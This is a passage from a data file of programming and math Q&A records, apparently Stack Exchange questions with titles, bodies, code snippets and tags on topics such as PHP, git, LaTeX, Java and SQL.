struct:\n\nNow the issue with shared memory comes in, so I was thinking:\n\nI would
then send the pointer to the struct through the queue:\n\nAt the end after the last
task gets the message and does what it needs to with the member variables, I would
have to deallocate the memory.\n\nWould something like this be plausible?\n", "
typedef struct message{\n enum BUTTON_1 = 0, BUTTON_2 = 1, NO_BUTTON = 3; //button
ISR to increase motor drive \n int timestamp; //A timestamp for the RPM of the
motors\n }\n", "malloc task messaging rtos"], "325215": ["preg_replace() called
with arrays needs ksort() beforehand? Huh?", "I was working a bit with over the
weekend and I was reading the Php documentation when I saw something odd. \
nExample #2 from the docs shows that when given the following php code\n\nthe
output will be \n\nand in order to generate what (in my opinion) should be output
by default I would need to call beforehand. like this:\n\nIsn't this really a
work-around for a bug in php's ? Why does php behave this way? Is there some
idiosyncrasy with the arrays declared here that I am missing?\n", "preg_replace",
"php preg-replace"], "3090966": ["Radical ideal of $(x,y^2)$", "How does one show
that the radical of $(x,y^2)$ is $(x,y)$ over $\\mathbb{Q}[x,y]$? I have no idea
how to do, please help me.\n", "",
"commutative-algebra"], "1757586": ["Convert EMF to PDF (vector)", "is there a
Windows program that is able to convert EMF files to PDF while preserving the
vector character of the image? \nOn Windows XP I always used the Image and Fax
viewer (which is the best EMF viewer I have ever seen) and printed it to PDF via
PDFCreator. Unfortunately the days of XP are gone and the Photo viewer of Windows 7
is not even able to open EMF files.\nUntil now I have tested a lot of viewers and
converters with the following result:\n\nWindows 7 integrated Photo Viwer -> Can
not open EMF\nImageMagick Windows pre-compiled binary -> raster image\nXnView
(print to PDF) -> raster image\nInkscape -> loading error (distorted, wrong text
size & positions)\nMicrosoft Office 2010 Photo Viewer -> prints white page\nVeriPDF
EMF2PDF converter -> raster image (with wrong text sizes)\n\nWhat other software
are available for converting an EMF?\n", "", "windows-7 pdf conversion emf"],
"5315523": ["Uploading a file using WebDav protocol from Unix", "I need to transfer
a file from my Unix machine to a Windows machine. Problem is i can transfer a file
already created on my machine via ftp from unix to any machine. also i can open
webdav connection create new file and save it there. \nWhat i am unable to do is to
write my code to upload my file fro my local location using webdav. \ni tried using
pear client but due to lack of documentation, i am still not able to achieve the
task . \nHere is my attempt:\n\n",
"include(\"/usr/share/pear/HTTP/WebDAV/Client.php\");\nglobal $filename, $logger;\n
try {\n /* $client = new HTTP_WebDAV_Client();\n $user=\"username\";\n
$pass = \"pwd\";\n $dir = \"webdavs://\".$user.\":\".$pass.\"@hostname/\";\n
var_dump($client->stream_open($dir.\"test4.txt\",\"w\",null,$path));\n
$client->stream_write(\"HELLO WORLD! , I am great \");\n $client-
>stream_close();\n $client->dir_opendir($dir,array());\n
var_dump($client->dirfiles);\n\n\n $req =new HTTP_Request($dir);\n
$req->setBasicAuth($user, $pass);\n $req-
>setMethod(HTTP_REQUEST_METHOD_POST);\n\n $result = $req-
>addFile('file_upload_field', $filename);\n if (PEAR::isError($result)) {\n
echo $result->getMessage();\n } else {\n\n $response = $req-
>sendRequest();\n\n if (PEAR::isError($response)) {\n
echo $response->getMessage();\n } else {\n echo $req-
>getResponseBody();\n }\n }*/\n\n $ftp_server
= \"hostname-ftp\";\n //$ftp_server = \"hostname-webdav\";\n
$connection = ftp_connect($ftp_server);\n ftp_login($connection, 'user',
'pwd);\n ftp_put($connection, $filename, $filename, FTP_BINARY);\n
unlink($filename);\n } catch(Exception $e){\n $message = \"There was a
problem while uploading\" . $filename;\n $logger->error($message);\n }\
n", "php webdav"], "654165": ["Locally using git between users on the same server",
"Is there a way to set up a local git repository that would be accessed by users on
the same server, such that providing ssh public/private keys and connecting to
another server to access the repository is not necessary?\n", "", "git"], "639452":
["Flex++ Bisonc++ parser", "I'm trying to use and in my project to generate a
parser code for a file structure. Main programming language is C++ and project is
on an OO design mainly running in parallel. \nI heard that and generated parsers
are C codes and they're not reenterant. Googling, I found and . Unfortunately
there is no simple tutorial to get started. Most examples are based on . Some
people somehow integrated parsers in their C++ code. They supposed to
be \"tricky\"...\nDocumentation of and doesn't help me and. Tutorials and
examples, they all get input from stdin and print some messages on stdout.\nI need
these features in my parser:\n\nParser should be a C++ class, defined in normal
manner (a header and a cpp file)\nParser receives data from either an or or a
null-terminated .\n\nI feel so confused. Should I use or ? And how to do that,
satisfying above conditions?\n", "flex", "c++ parsing bison gnu-flex"], "16343":
["How do I suppress blank lines in a Microsoft Word 2007 mail merge?", "I'm setting
up a mail merge file that reads from a CSV file. In the CSV file, there are ~20
Boolean fields that produce the body of the Word mail merge file. The problem is
that if the first 19 fields are all , then the Word mail merge file will have 19
blank spaces and then output the 20th field underneath all of them. Is there any
way to suppress the output of these blank lines using the built-in mail merge
rules?\n\nHere's the header and a sample row of the CSV file:\n\nHere's a couple
lines of the mail merge file that I'm trying (image linked because copying and
pasting of mail merge does not show original document)\n\n\nDoes anyone know how to
get around this? I tried placing the in front of the conditionals, but that
doesn't work either.\n", "\"N\"", "csv ms-word rules conditions mailmerge"],
"1129978": ["For general cases, when either one would work, which is better to use,
a hashmap or a hashtable?", "I've used hash tables occasionally in a couple of
languages, but I just came across the Java map while browsing through some code. I
checked up the differences in this SO question, which expressed it very clearly. My
question is this: \n\nWhen either one could work for you , which is better to use?
Which one should you choose if you're not dealing with nulls/threads...?\nWhich one
is used more often / is more standard?\n\n", "", "java hashtable hashmap"],
"4170804": ["Session Gone Timeout after Offline process on mobile", "I have a
simple question, that may have a simple answere.\nI've got a webpage that has
Session.Timeout = 20mins.\nThen got a Iframe that is refreshing every 15min and
setting the Session.TimeOut to 20mins\nin the Page_Load everytime it refreshes.\nMy
question is:\nWhat happens to the state if i go offline (with airplain mode or
other), in 21 mins,\nand then back online. Does it reload the page? does it set the
Session to 20 mins without renewing the page?\nMy goal is to have it not to
refreshing the page, so that i can start a session, go offline on\n my mobile, and
1 hour afterwards, go back online with the mobile and keep going om my last
session.\nIs this possible?\nIs the a other way to do it?\n", "", "html session
mobile timeout offline"], "4981301": ["Tiny MCE POPUP opening issue", "I have added
Tine MCE in my code but when i click on popup it opens blank. (I am using .htaccess
for to shorten the domain name so due to this it is causing issue, while on normal
URL it works fine)\nSo can anyone suggest me what should i do?\n", "", "tinymce"],
"3465213": ["In what situations are EJBs used ? Are they required in websites/ web-
application development?", "Are EJBS used in database backed websites(that are
accessible to all)?\n", "", "java java-ee ejb ejb-3.0"], "5045615": ["Does
GoogleBot respect User-agent: *", "I blocked a page in robots.txt under User-agent:
*, and tried to do a manual removal of that URL from Google's cache in the
webmasters tools. Google said it wasn't being blocked in my robots.txt, so I then
blocked it specifically under User-agent: GoogleBot and tried removing it again
and this time it worked. Does that mean Google doesn't respect User-agent: * or
what?\n", "", "google robots.txt"], "2197450": ["Biblatex: submitting to the
arXiv", "I am trying to submit a LaTeX file to the arXiv which uses . However, it
fails whatever I do. \nI first get the message \n\nI have tried including (all
from TeXLive 2010) but then I get \n\nthen \n\nI then tried adding and and get\
n\nSo I added then then and finally I get \n\nI also tried incorporating the bib
into the main LaTeX file as in biblatex submitting to a journal but it doesn't
help.\nHas anyone successfully used with the arXiv and if so, how? \n",
"biblatex", "biblatex arxiv"], "4551338": ["Event id 5723 netlogon when joining a
new pc to domain", "Is there any reason I would get the event id 5723 when joining
a new windows 7 professional notebook to an existing windows server 2003 domain? \
nThe notebook eventually did join successfully but that event id was logged in the
event viewer. Is there a known cause that might create the error but still allow
the workstation to be joined?\nIf more info is needed I can happily provide it.
Thanks.\n", "", "windows-server-2003 windows-7 event-log netlogon"], "5640255":
["Doctrine ORM on EAV Tables", "I was planning on creating my application and use
an ORM for the models, but the thing is, there's a part of the database which uses
Entity-Attribute-Value Tables.\nI pretty liked Doctrine ORM but I don't know if it
is possible to maybe create classes that would look like any ordinary doctrine
entity, when the table actually hooked up to is of EAV style.\nWould it be possible
to use Doctrine on this, and if so, how?\n", "", "php orm doctrine entity-
attribute-value"], "3477487": ["How to set a range for a textfield length with
jquery inputmask plugin", "I need to set a mask that allow the user to enter at
least 5 digits and optionally more than five but less than 10.\nThis is what I
actually have:\n$('#codeNumber').inputmask('99999[999999]');\nBut it doesn't work.\
nHere you can find the plugin's specification. There you can find that optional
masks can be set between square brackets but doesn't seem to work.\nDo you know how
can achieve this?\nThanks for your help.\n", "", "javascript jquery plugins input-
validation"], "2741625": ["Make pagination in SQL with sorted records", "I have 100
records, and this records contains, username(string) and groupname(string). And I
want to sort the whole records by groupname or by username.
Is there an SQL query string that I can sort first the whole records then limit
the number of records? Or is there any way to do this kind of method?\nMany
thanks.\n", "", "sql"], "2453617": ["How to disable context menu shadow in KDE 4?",
"I don't like context menu shadows in KDE 4. Is there any way to disable those?\n",
"", "kde kde-4"], "2238660": ["How can I change a form's input value with
javascript", "How can I change a form's input value with javascript depending on
witch combobox item is selected. I have a form with some imported values, and there
is a field of witch imported value can be changed via a combobox. In my case:\n\nI
have a combobox, that if I change it's value, should change the value of the input
above.\nThis is what I tried:\n\nand the script:\n\nBut it doesn't work, please
help.\n", "print(\"<input type='hidden' name='issue_array[{$issue[\"nr\"]}]
[\\\"supplier\\\"]' value='{$issue[\"supplier\"]}' />\");\n", "php javascript html
forms input"], "5375300": ["Office Interop Word c#.net : Copying a table at a
special location", "I'm currently working on tables in a Word template with
Interop.\nIn my template I have a table which I want to copy (Copying will make it
easier for me to fill in the data rather than inserting rows and column, because
the template has a lot of write formatting). \nThe new table should be inserted
right under the original table. The best would be that they would look like one
single table.\nMy problem is that I get a paragraph between the two tables. How can
I avoid this?\nHere is my code:\n\nAny help would be very appreciated! :)\n",
"object oCollapseEnd = Word.WdCollapseDirection.wdCollapseEnd;\nWord.Range rng =
table.Range;\nrng.Collapse(ref oCollapseEnd);\n\nWord.Table tableCopy =
document.Tables.Add(rng, 1, 1, ref missing, ref missing);\ntable.Range.Copy();\
ntableCopy.Range.Paste();\n\nClipboard.Clear();\n", ".net interop word"],
"6005784": ["Is it possible to use the blur behind Core Animation(effect) on an
NSPanel?", "The context menu from dock items is not only translucent but also blurs
the contents behind it, Is this effect availible for translucent floating panels?
This is the same effect used in Sheet Alert dialogs (e.g. quit with unsaved
changes) but in that case the transparency is different, and the background is
light rather than dark\n\nSome background, we have a pro app that is frequently
used full screen, and our floating palettes have some transparency, but obviously
the more transparency we have the harder it is to read the text on them when the
background is very active/noisy, if we could have a slight blur we would be able to
greatly improve the readability on the text while still allowing some context
of \"whats behind the palette\"\n", "", "cocoa core-animation core-graphics
transparency nspanel"], "5648962": ["Defining branch of $\\log z$ in annulus such
that $|\\log z|$ is unbounded", "I am trying to construct a nonempty open subset
$D$ of the annulus $\\{z:1<|z|<2\\}$ such that (i) $D$ is connected and so is its
boundary, (ii) a holomorphic branch of $\\log z$ can be defined on $D$, (iii) $|\\
log z|$ is unbounded on $D$.\nI was thinking that since $\\ln|z|$ will be bounded
on $D$, I will need $\\arg z$ to be unbounded on $D$ to get (iii). To get (ii), I
think I just need to be able to define $\\arg z$ continuously on $D$. What came to
my mind was to have a boundary curve that somehow spirals endlessly inside the
annulus but I don't know how to make it precise and also to consider condition
(i).\nUpdate: I have arrived at the spiral curve given by $r=1+\\frac{1}{\\theta-
1}$ for $\\theta\\geq\\pi$. This curve is contained in the annulus and spirals
around the circle $|z|=1$, getting closer to the circle as it does so. I can take a
suitable neighborhood of the curve as $D$. Now what I am missing is the
justification that the boundary of $D$ will be connected.\n", "", "complex-analysis
logarithms analyticity"], "3587931": ["Python development headers", "I need to
install the python development headers and I don't have root access to simply
install the python-dev package from my distro(so please don't suggest this), which
means I am compiling from source. \nAgain, I know precisely the packages I need. So
please don't repeat that. Where can get the source headers and how do I install
them? \nHow do I go about doing that? Specifically, I need Python.h. I've already
compiled and installed the base python interpreter. \n", "", "python header
source"], "1757585": ["How to use jfreechart in unix", "I had a java program which
uses jfreechart API to create histogram, which is running fine in windows system
but the same is not running in unix system. It is saying NoClassDef exception. I
have added the jfreechart jar to the lib in Unix... Do I need to do anything else
to make it run?\n", "", "java jfreechart"], "1823505": ["Jquery recover value", "I
i use load fucntion of jquery for call php file and get reponse and for example in
the side of php i get the value \"one\"\nHoy i can send this value to jquery ?\
nJquery function load call file : \n\nThe jquery script call index.php and with
action=ok for active php function and for example get the value (in the side of
php) \"start\" , this value get i want send other time to my function of jquery and
show the value \"start\" - i get until , into jquery function \nIf value \"start\"
show , the jquery function works and if no get this value (start) the jquery
function no works , the problem for me it\u00b4s this value get in php and i don\
u00b4t know how i can detect for works into jquery.\n", "$
(document).ready(function(){\n\n$(\"#file_content\").load(\"index.php?
action=ok\");\n\n});\n", "php jquery load"], "2714672": ["Windows console", "Well,
I have a simple question, at least I hope its simple. I was interested in win32
console for a while. Our teacher told us, that windows console is just for DOS and
real mode emulation purposes. Well, I know it is not true, becouse DOS applications
are runned by emulator which only uses console to display output. Another thing I
learned is that console is built into Windows since NT. Well. But what I could not
find is, how actually are console programs written to use console. I use Visual C++
for programming (well, for learning). So, the only thing I need to do for using
console is select console project. I first thought that windows decides wheather it
run app in console or tries to run app in window mode. So I created win32 program
and tried printf(). Well, I could not compile it. I know that by definition
printf() prints text or variables to stdout. I also found that stdout is the
console interface for output. But, I could not find what actually stdout is. \nSo,
basicly what I want to ask is, where is the difference between console app and
win32 app. I thought that windows starts console when it gets command
from \"console-family\" functions. But obvisously it does not, so there must be
some code that actually commands windows to create console interface.\nAnd the
second question is, when the console is created, how does windows recognize which
console terminal is used for what app? I mean, what actually is stdout? Is it a
area in memory , or some windows routine that is called? Thanks. \n", "", "windows
console stdout"], "3460994": ["What windows server 2003 services can I disable?",
"I am trying to disable any unnecessary services running on a Windows Server 2003
box. I would like to optimize this box as best I can.\nUpdate\nThe primary purpose
of the server is to operate a SQL Server database, a website, and a couple of
Windows Forms application to handle some integrations.\n", "", "windows-server-2003
services"], "1883625": ["how to deploy an asp.net 3.5 project?", "Which is the best
way to deploy an asp .net 3.5 project?\nI have a production server with IIS 6.0 on
Windows Server 2003. I found that there are several to deploy it, but I think that
xcopy deployment is OK for now.\nHowever, I don't found the right to do it. Some
tutorials suggest to create virtual directories, but I don't know where is the
target\n", "", "asp.net .net windows-server-2003"], "351110": ["Fetch records from
table and save to file", "I have the following problem:\nI have a table with 5000
random generated demo data sets\n\nI would now like to export this one line at a
Xliff file.\nSo the end result should look like. Small example\n\nAs a component of
the Edit / Paste Xliff the file I wanted to grab my XMLDocument. I already had a
few days ago wrote a demo program where I upload a file using XMLDocument and then
Xliff purely write something again. So these routines at least for the targets I
already have.\nI feel now more that I still have no real idea how all the data from
the MySQL table as the best piece of land in a Xliff file pack.\nFirst thought was
possible for me to go through the entire table line by line, then save it into an
array and then write my loop over the array and in the file.\nWould appreciate some
other suggestions / concepts. Since it is a test of the speed of the XMLDocument
component in the end I would concepts / ideas that lead to a rapid course prefer.\
n", "<?xml version='1.0' encoding='utf-8'?>\n<xliff version=\"1.1\">\n <file
original=\"source\\simple.htm\" source-language=\"EN\" target-language=\"DE\"
datatype=\"html\">\n <header>\n <skl>\n <external-file
uid=\"017dbcf0-c82c-11e2-ba2b-005056c00008\" href=\"skl\\simple.htm.skl\"/>\n
</skl>\n </header>\n <body>\n <trans-unit
id=\"00QlKZsL6GyW6B92Ev81Fb2HP3Z0ma\">\n <source
xml:lang=\"EN\">2hH3khJvy1gmFNTLSB0Crka0A8TTKReuYxbV2hI9E8AjXwCV3F</source>\n
<target xml:lang=\"DE\">3ydQZWavaKvxrlbh1ewXZakLL00LEPG6zVTyty6fiLrPdx9UE4</
target>\n <note/></trans-unit>\n <trans-unit
id=\"016ynILnditynwtYwcl6vJPTLCzvo7\">\n <source
xml:lang=\"EN\">dyC28VRCI9O37PTHENinp4sgMkr5R0HO1Yo53hUQKNr4GoLFG4</source>\n
<target
xml:lang=\"DE\">sEkgstffmS4k5KB1JZkNSYbUnzzlFBNT30oYmtfId8dnspG3No</target>\n
<note>Testnotiz</note></trans-unit>\n <trans-unit
id=\"03YNBAZ1YWvkqaG4PRxKSiWENOCXuB\">\n <source
xml:lang=\"EN\">BHpY8LDs8oJAr8I1EfZzeJX24GZ3TLIr9GUAYcnSPYHjDfKRqk</source>\n
<target xml:lang=\"DE\">7Rd7bW2lg2Uc4uStCoosZuNgOzA9qWN7OsvW2gBcHa3ctnmF3Q</
target>\n <note/></trans-unit>\n </body>\n </file>\n</xliff>\n", "mysql
delphi translation xliff"], "610706": ["SocketServer doesn't work on Linux", "I
wrote a simple python script using the SocketServer, it works well on Windows, but
when I execute it on a remote Linux machine(Ubuntu), it doesn't work at all..\nThe
script is like below:\n\nI upload it to the remote machine by SSH, and then run the
command on the remote machine, and try to access to with my browser, but nothing
is printed on the remote machine's teminal...any ideas?\nUPDATE: Problem solved,
it's a firewall issue, thanks you all.\n", "#-*-coding:utf-8-*- \nimport
SocketServer\n\nclass MyHandler(SocketServer.BaseRequestHandler):\n\n def
handle(self):\n data_rcv = self.request.recv(1024).strip()\n print
data_rcv\n\nmyServer = SocketServer.ThreadingTCPServer(('127.0.0.1', 7777),
MyHandler) \nmyServer.serve_forever()\n", "python linux sockets"], "4592080":
["Can XeTeX | LuaTeX use MetaFont fonts?", "Can XeTeX | LuaTeX use MF fonts
invented for TeX ? By default (when package is not loaded) they load Latin Modern
fonts as the following exception from file shows:\n\nLatin Modern (on my computer
with MiKTeX) exists in the form of Open Type (otf) and Postsript (pfb) fonts only.
They contain merely Latin script. Wouln't it be better to use, e.g., Linux
Libertine fonts (which contain more scripts) as default and error font for XeTeX |
LuaTeX? With Linux Libertine LuaTeX | XeTeX would produce reasonable output for
many languages (e.g. cyrillic) even without . This would provide better benchmark
point. I mean that minimal example file would be compiled without troubles:\n\nAt
the present state of art, \"\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\
u0439, \u043f\u043b\u0430\u043d\u0435\u0442\u0430!\" will be lost.\n", "fontspec",
"fonts xetex luatex"], "3053490": ["what's a git equivalent to 'p4 annotate -a'?",
"perforce has a very useful command that prints out all revisions of a file, with
annotations indicating what versions contained each line in the file. For example,
say I create a file foo, check it in, and then check in two subsequent changes to
the file. Here are the three versions of foo:\n\nHere is what p4 annotate -a
prints:\n\nI see the entire history of foo, with annotations indicating which
versions contained each line.\nAFAICT, git blame only gives the last version
containing each line. git log with pickaxe only prints lines that match the
pattern, and gives the commit messages rather than lines in the file itself.\nIs
there any way to do something similar to the above perforce command in git?\nThanks
in advance,\nGreg\n", "aaa aaa aaa\nbbb bbb
bbb\nccc ccc ccc\n ddd ddd\n
eee fff\n fff\n", "git perforce annotate"], "5586504":
["Why can I assign a new value to a reference, and how can I make a reference refer
to something else?", "I have couple of questions related to usage of references in
C++. \n\nIn the code shown below, how does it work and not give a error at line ?\
n\n\nHow can a reference q be reinitialized to something else?\nIsn't the string
literal, , a constant or in read-only space? So if we do,\n\nwouldn't the string at
which is supposed to be constant be changed?\n\nI have read about C++ reference
type variables as they cannot be reinitialized or reassigned, since they are stored
'internally' as constant pointers. So a compiler would give a error.\nBut how
actually a reference variable can be reassigned?\n\nI am trying to get hold of this
reference, and in that maybe missed some key things related, so these questions.\n\
nSo any pointers to clear this up, would be useful.\n", "q = \"world\";", "c++
reference"], "2143007": ["Why is this Java code in curly braces ({}) outside of a
method?", "\nPossible Duplicate:\nIs this valid Java code? My teacher claims it is,
but I'm really not so sure. \n\nHello,\nI am getting ready for a java certification
exam and I have seen code LIKE this in one of the practice tests: \n\nMy question
is ... Is it valid to write code in curly braces outside a method? What are the
effects of these (if any)\n", "class Foo { \nint x = 1; \npublic static void
main(String [] args) { \n int x = 2; \n Foo f = new Foo(); \n
f.whatever(); \n} \n{ x += x; } // <-- what's up with this?\nvoid whatever()
{ \n ++x; \n System.out.println(x); \n} \n}\n", "java syntax braces"],
"2231458": ["Render N-Dimensional Shapes", "Assuming we want clarity over speed.
What is the best way to go about rendering n-dimensional shapes like hypercubes.
I've been playing for a few hours and am missing something. I usually use a
standard approach for 3d to 2d but am stuck with 5d to 2d.\nMake sense?\n", "", "3d
dimensional"], "1531308": ["Keeping a SortedSet of objects based on a property", "I
have an object, , that has two properties, and . I want to add these objects to
a , keeping the set sorted in ASC order on x of . If two instances of have the
same x values, I want them to be sorted within the set by their y values.\nI
thought the following would do the trick:\n\nInstead this orders the actual x and y
values; i.e.\n\ntestA: x=200, y=200,\ntestB: x=200, y=400\n\nAfter inserting
into :\n\ntestA: x=200, y=200,\ntestB: x=400, y=200\n\nInstead of the instances
within .\n", "Test", "java sorting set sortedset"], "1439847": ["Keep focus on
another control while selecting items in a ListBox", "I have TextBox which should
always be in focus.\nAt the same time I have as list box.\nWhen user clicks on
certain item in this listobox the item clicked gets focus.\nI tried to set
Focusable=\"false\" for each ListBoxItem in my ListBox but in this case no item can
be selected.\nI found following code using dotPeek:\n\nIs there any way to solve my
problem?\n", "private void HandleMouseButtonDown(MouseButton mouseButton)\n{\n if
(!Selector.UiGetIsSelectable((DependencyObject) this) || !this.Focus())\n
return;\n ...\n}\n", "wpf focus listboxitem"], "1129979": ["Replacing matching
text with a macro containing information from a CSV file", "I have some data stored
in a CSV file, in this manner:\n\nI also have a file containing the numbers from
the first column throughout (this file is into my main document):\n\nI currently
use a script which replaces all numbers appearing matched to the first column of
the CSV file with a macro, , where each contains data from a column (second,
third, fourth, and fifth).\nFor e.g., where the input file above contains , using
the CSV file line above, it becomes , so when compiled, the text is displayed
according to the definition of . Essentially, I am using BASH to edit , after which
I compile it.\nCan I remove the need for BASH and do this directly with LuaTeX or
some form of ConTeXt?\n", "000000001 @ name @ information @ more information @ some
more information\n", "luatex context comma-separated-list"], "97914": ["Best way to
cache images on PhoneGap IOS", "I'm building a PhoneGap ios app that used to import
data from the server using JSON, this data contains image URL, I have already used
to cache the data in the local storage to use it when the application is out of
internet connection but I have one concern is about what is the best way to cache
images.\nI was thinking of converting the images to data-uri and save it to IOS
DataBase.\nPlease advice if this solution is doable or is there any other best
solutions?\n", "", "iphone ios phonegap cordova"], "3509215": ["How to change the
sender's email address for messages sent on behalf of a Google Calendar API service
account", "I am using a Service Account to access the Google Calendar API. My
program creates calendars and shares them with users. Currently, the users receive
an email (sent by Google, not me) with a very long and awkward sender and a
difficult to read message.\nThe sender looks like \nThe message looks like this:\n\
nIs there any way to specify the sender email address for these automatically
generated emails, so that I can specify a name that my users will recognize and
trust? As it looks now, it is easy to assume that these are spam messages and they
are ignored as a result.\nThanks for your help.\n", "3928472398472-
[email protected]", "google-api"],
"2737425": ["Git gets file hungry every once in a while", "I have a recurring
problem with my Git repositories. I develop in Windows and my production site is
under Linux. Several times it has happened that git was showing all files tracked
as modified. I thought this was because of a conf issue or conflict between Windows
and Linux, but then this morning, when I checked the Linux repo, it was showing all
files as modified. \nTo add insult to injury, the two Linux repos I use (1 for
prod, 1 for test) were showing the same. I had no other choice but to commit all
the files, as a hard reset or a checkout were making no changes to the working
directory (yup, I pretty much sucks at this). This is the result of the commit:\n\
nAny ideas on how to sort this out next time it happens?\n", "Created commit
#######: Git, you are so mean...\n1521 files changed, 302856 insertions(+), 302856
deletions(-)\n", "git"], "605223": ["REST API / DATA MODEL DESIGN - User , Account
or Both Models?", "I'm having some thoughts about proper building my app and
provide a good and consistent API for it but now I'm having
some doubts about the user/accounts model.\nIt's funny but if you consider some
apps you will see that they treat you like user but when editing your details your
are redirect to account.\nOne good example of this is twitter.\nSo I would like to
know your opinion about what's the best method to build this kind of architecture?\
nIs the account really necessary?\nWhy should I use account or user?\nIf I decide
to implement a payment instruction for that user later, should that user store that
information inside a account which stores his password and other important
information?\nsorry but I'm kind of lost on this subject sometimes it looks that
other apps use more models than the necessary, so I'm not sure :(\nI was thinking
I'm have to associated models like this:\n\nBut I still not sure what kind of
information goes into the User and Account.\nThanks in advance for you help\
nCheers\n", " User has_one :account\n", "api database-design rest datamodel"],
"2238664": ["On Windows 7, how does a program keep track of successive installs?",
"I uninstalled and reinstalled a program on Windows 7 after deleting any references
to it in\n\nThe registry (using 'find' command for 'Sneaky' and deleting keys)\nIts
original installation folder under C:\\Program Files (x86)\\Sneaky App\nIts data
folder under C:\\Users\\piper\\AppData\\Local\\Sneaky App\n\nAfter restarting the
computer and reinstalling it still knows about my previous installation.\nHow?\n",
"", "windows-7 uninstall"], "3467172": ["Emacs, highlight all occurences of a
word", "In Notepad++ editor, there's a convenient feature: if you select a word in
your text (not necessarily a keyword), the word is highlighted throughout the text.
Is there any similar way in Emacs? Not necessarily with selection, I think
something like C-\"something\" M-\"something else\" which highlights all words same
as the word under the cursor would be nicer even.\nTo summarize: \nlight-mode and
highlight-mode both can highlight the word under the cursor. However, when I scroll
with the mouse, the text cursor also changes it's position and the highlight
disappears, which sort of limits it's applicability.\nIn addition, highlight-mode
let you make several permanent highlights with different colors, and they don't
disappear if you move the cursor, and you can navigate between them using hotkeys.
There's an issue with it, which might be a bug (I can't say for sure, with my
knowledge of EL close to zero, however I managed to fix it nonetheless), when Emacs
complains about a void variable and can't load the mode.\n", "", "emacs notepad++
highlighting"], "2409355": ["Application for monitoring all applications that are
using the internet in Mac OS X", "Can anyone introduce me a Mac OS X application
that monitors all network activity such as what applications are now connected to
the internet and how much bandwidth they use (I mean show bandwidth separately for
each application)?\n", "", "osx networking internet process monitoring"],
"3527183": ["Best way to backup a WSS / SharePoint wiki?", "We're using WSS to
track a project I'm working on, and I'm storing a lot of research within the wiki
that I'd like to keep backups of.\nI'm wondering what would be the best way to go
about this? Is there some way to export/import wiki content? Or would it be
better to backup the raw database -- if so, which tables?\n", "", "wiki wss-3.0
backup 2007"], "5099462": ["Google Task API access through Google Apps Script",
"When you query the Tasks Object for all of the Tasks each \"Page\" will contain
the maxResults number of Results (default maxResults=100).\nIf you have over 100
Tasks in a Specific TaskList or want to use pagination, you need to use pageToken
to request subsequent \"pages\" of Tasks.\nThis can be done by running list()
(TasksCollection Class), then retrieving the nextPageToken(). Subsequently running
list() and passing in the nextPageToken, as an optional argument will give you the
2nd page of results.\n\nHowever, I am confused by why the documentation shows a
setNextPageToken method
\nhttps://developers.google.com/apps-script/class_tasks_v1_schema_tasks#setNextPage
Token\nWhat can that be used for?\nThe below code does not work because subsequent
calls to list() without the nextPageToken argument will return the first set (i.e.
items 1 to 20).\n\nAm I missing something....what is the purpose of the
setNextPageToken() method?\nThanks.\n", " var tasksObj =
Tasks.Tasks.list(MytaskListId, {maxResults : 20});\n var nextPageToken =
tasksObj.getNextPageToken();\n tasksObj = Tasks.Tasks.list(MytaskListId,
{maxResults : 20, pageToken: nextPageToken});\n var tasks = tasksObj.getItems();\n
//\"tasks\" will hold the Tasks 20 to 40.\n", "google-apps-script google-tasks-
api"], "2845": ["SqlCeExpression was caught, error paring the query", "Im trying to
insert data to my compact database, I got this error:\n\nAnd here is my code,
mostly found online:\n\nAnyone figure out the problem?\n", "There was an error
parsing the query. [ Token line number = 1,Token line offset = 1,Token in error =
USE ]\n", "c# .net sql-server-ce"], "6004731": ["Spring RedirectAttributes:
addAttribute vs addFlashAttribute", "My understanding so far is on our controller
request mapping method we can specify RedirectAttributes parameter and populate it
with attributes for when the request get redirected, eg:\n\nThe redirect attributes
will then be available on the target page where it redirects to.\nHowever
RedirectAttributes have two methods: addAttribute & addFlashAttribute. What is the
fundamental differences between those two, and how should I choose which one to
use? Have been reading spring manual doc for a while but I'm a bit lost\n",
"@RequestMapping(value=\"/hello\", method=GET)\npublic String
hello(RedirectAttributes redirAttr)\n{\n // should I use redirAttr.addAttribute()
or redirAttr.addFlashAttribute() here ?\n\n // ...\n\n return
\"redirect:/somewhere\";\n}\n", "java spring spring-mvc"], "5754440": ["GUI
components of a memory game", "I am working on a homework so i am not asking for
code, i am trying to make this by myself. by the way, i am stuck again with the GUI
part and have little problems with code part. first things is about button size and
image size. i didnt use methods for size of buttons just set the image as an icon
for the button. but as you see below, buttons dont fit the image.\n\nsecond thing
is how can i first disable the icon and when user presses to button it will reveal
the icon ?. and how can i embed 8 pictures in a loop? can i create an array for
images... i appreciate if you can help me. and thanks anyway : )\n", "", "java
swing icons jbutton"], "3518908": ["Most efficient multi level commenting system",
"I'm building a multi level commenting system and need a solution for quick reads
and writes.\nI've looked into adjacency list and nested set and it seems to me that
for my particular scenario neither is the right method to use, so I'm looking into
non RDBMS solutions as well. \nWhat I would like to achieve:\n\nMulty level
parent/child relationship\nLots of reads and lots of writes\nAdding/editing any
child at any level\nSorting entire tree by dateime(old/new), voting score\n\nI feel
like the best solution for RDBMS is adjacency list, where you have recursive reads.
But this is very inneficient because there will be thousands of reads per minute.
Nested set is great for reads, but I will have lot of writes too which will make it
really slow and inefficinet. \nDo you know any other techniques that I could use
here? Maybe other types of databases?\n", "", "mysql architecture nosql comments
rdbms"], "3901163": ["What is expansion and how do we use it?", "A friend from
college is studing web programming using the tapestry framework, and he asked me if
could i help him with his homework. \nOne of the questions in the homework says:\n\
nWhat is expansion, and how do we use\n it?\n\nIts the first time hear about it. \
nDo you have any idea what is that topic about?\nI am kind of confused. Is there
any OOP principle with that name?\n", "", "java apache tapestry"], "600490":
["Rails find returns nil even if there are records to be returned", "I'm working on
a RoR project (RoR 3.1 and Ruby 1.9.2p290) where I've run into some serious strange
problem with queries not finding things even if I know stuff should be found.\nFor
simplicity, say there is a model that has a attribute. I have several records in
the db, all with color black. Getting all records and displaying them in a view
works fine and I see nothing strange at all.\n\nHere's from the console where I get
the first car and checks if the color equals black:\n\nThis works fine as you can
see. Now if I try to query with it returns ! That shouldn't be.\n\nSame goes for
any type of query where I check the color, e.g. \n\nI have tried everything I can
come up with to try, but at the moment I have no clue what might cause something
like this. \nAny idea what this might be or where to start looking?\nI'm thankful
for any help in resolving this before I go insane ;)\nEDIT\nThe colors are from a
CSV file I imported through a file upload and parsing it into Car records. Could
there be something with the encoding or something like that? Also I use SQLite in
